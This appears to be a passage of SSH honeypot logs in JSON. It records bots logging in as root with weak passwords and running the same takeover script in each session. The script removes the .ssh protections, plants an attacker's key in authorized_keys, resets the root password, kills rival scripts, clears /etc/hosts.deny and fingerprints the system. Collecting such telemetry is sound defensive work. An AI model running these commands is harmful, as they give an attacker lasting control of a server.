2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:12:28.696944+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:12:28.697449+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:12:29.292562+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:12:29.295118+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:12:30.456193+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:12:30.456711+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:12:31.046008+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:12:31.635134+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:12:32.223047+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:12:32.858705+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Aq123456","method":"password","accepted":true,"tier":"other"}]} {"id":"a6c25b61-030a-4071-9e90-ee0ef194f6e3","name":"bashful-lawful-peccary","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":44498,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":860,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:56:22.503415+00:00","ended_at":"2026-08-26T11:56:24.329787+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2205,"events":[{"seq":1,"at":"2026-08-26T11:55:53.404397+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:55:54.296233+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:56:00.510063+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:56:01.294108+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:56:02.219035+00:00","kind":"input","latency_ms":null,"data":"echo \"root:vqktThpjzKYF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:56:03.095547+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T11:56:03.991015+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:56:04.763555+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:56:05.625212+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:56:06.885140+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:56:07.761347+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:56:08.785433+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:56:09.690848+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:56:10.005932+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:56:10.891696+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:56:11.677093+00:00","kind":"output","latency_ms":null,"data":" 11:56:11 up 6 days, 8:46, 0 user, load average: 0.22, 0.25, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:56:12.537546+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:56:13.222497+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:56:14.097267+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:56:14.668806+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:56:15.522351+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:56:15.848435+00:00","kind":"output","latency_ms":null,"data":"top - 11:56:15 up 6 days, 8:46, 0 user, load average: 0.22, 0.25, 0.22\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:56:16.703514+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:56:16.960814+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:56:17.812544+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:56:18.369696+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:56:19.222448+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:56:19.679152+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T11:56:20.530423+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:56:21.646996+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:56:22.503991+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:56:24.057127+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1qaz2wsx3edc","method":"password","accepted":true,"tier":"other"}]} {"id":"72340123-0afd-4c21-94bc-705c262a2b6a","name":"western-blunt-vervet","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":44304,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":873,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:53:43.692781+00:00","ended_at":"2026-08-26T11:53:45.296546+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2194,"events":[{"seq":1,"at":"2026-08-26T11:53:12.401620+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:53:13.299692+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:53:20.533936+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:53:21.346266+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:53:22.217124+00:00","kind":"input","latency_ms":null,"data":"echo \"root:jbNx2CZR8Hhd\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:53:23.099628+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T11:53:23.995573+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:53:24.273433+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:53:25.146046+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:53:26.401098+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:53:27.303019+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:53:28.636922+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:53:29.506896+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:53:30.336638+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:53:31.211031+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:53:32.089948+00:00","kind":"output","latency_ms":null,"data":" 11:53:32 up 6 days, 8:43, 0 user, load average: 0.25, 0.26, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:53:32.994643+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:53:33.274598+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:53:34.140272+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:53:34.552569+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:53:35.427762+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:53:36.056800+00:00","kind":"output","latency_ms":null,"data":"top - 11:53:36 up 6 days, 8:43, 0 user, load average: 0.25, 0.26, 0.18\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:53:36.922941+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:53:37.597757+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:53:38.494644+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:53:39.246570+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:53:40.111415+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:53:40.651904+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T11:53:41.529104+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:53:42.781487+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:53:43.693573+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:53:45.020132+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"adminadmin","method":"password","accepted":true,"tier":"other"}]} {"id":"f7d9723b-5f85-4c76-b6e4-0d452896095e","name":"wooded-amiable-kea","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":36580,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":587,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:46:38.727558+00:00","ended_at":"2026-08-26T11:46:40.939886+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T11:46:02.514596+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:46:03.099609+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:46:19.489160+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:46:19.490464+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:46:20.476725+00:00","kind":"input","latency_ms":null,"data":"echo \"root:CROgLom19mUx\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:46:21.064854+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T11:46:22.052319+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:46:22.629915+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:46:23.216996+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:46:24.229999+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:46:25.218690+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:46:26.560887+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:46:27.151547+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:46:27.803797+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:46:28.391182+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:46:28.657822+00:00","kind":"output","latency_ms":null,"data":" 11:46:28 up 6 days, 8:36, 0 user, load average: 0.2, 0.25, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:46:29.245001+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:46:30.065015+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:46:30.652106+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:46:31.381780+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:46:31.967652+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:46:32.732123+00:00","kind":"output","latency_ms":null,"data":"top - 11:46:32 up 6 days, 8:36, 0 user, load average: 0.2, 0.25, 0.13\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:46:33.318483+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:46:33.860241+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:46:34.450155+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:46:34.959242+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:46:35.546315+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:46:35.809179+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T11:46:36.794646+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:46:37.782921+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:46:38.728399+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:46:40.132100+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abc112233","method":"password","accepted":true,"tier":"other"}]} {"id":"949d19fb-cc2f-454b-ae88-9ccf8f1e9195","name":"cheerful-clever-condor","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":43102,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":862,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:37:44.723066+00:00","ended_at":"2026-08-26T11:37:45.896430+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2128,"events":[{"seq":1,"at":"2026-08-26T11:37:13.798032+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:37:14.695432+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:37:22.693120+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:37:23.056075+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:37:23.913922+00:00","kind":"input","latency_ms":null,"data":"echo \"root:HUWigZFtbwON\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:37:24.792087+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T11:37:25.689700+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:37:25.978601+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:37:26.830833+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:37:27.819856+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:37:28.691967+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:37:30.036580+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:37:30.893190+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:37:31.390498+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:37:32.290591+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:37:32.612834+00:00","kind":"output","latency_ms":null,"data":" 11:37:32 up 6 days, 8:27, 0 user, load average: 0.14, 0.13, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:37:33.490110+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:37:33.920965+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:37:34.789965+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:37:35.432353+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:37:36.290657+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:37:37.130309+00:00","kind":"output","latency_ms":null,"data":"top - 11:37:37 up 6 days, 8:27, 0 user, load average: 0.14, 0.13, 0.13\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:37:37.991570+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:37:38.496228+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:37:39.393104+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:37:40.098136+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:37:40.991532+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:37:41.828932+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T11:37:42.690796+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:37:43.875741+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:37:44.724052+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:37:45.619441+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"fa","method":"password","accepted":true,"tier":"other"}]} {"id":"297dd5dd-940c-4ec1-8e0e-cdc4a634979f","name":"gleaming-vernal-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":52474,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":943,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:37:43.080918+00:00","ended_at":"2026-08-26T11:37:43.851050+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T11:37:21.855747+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:37:22.854964+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 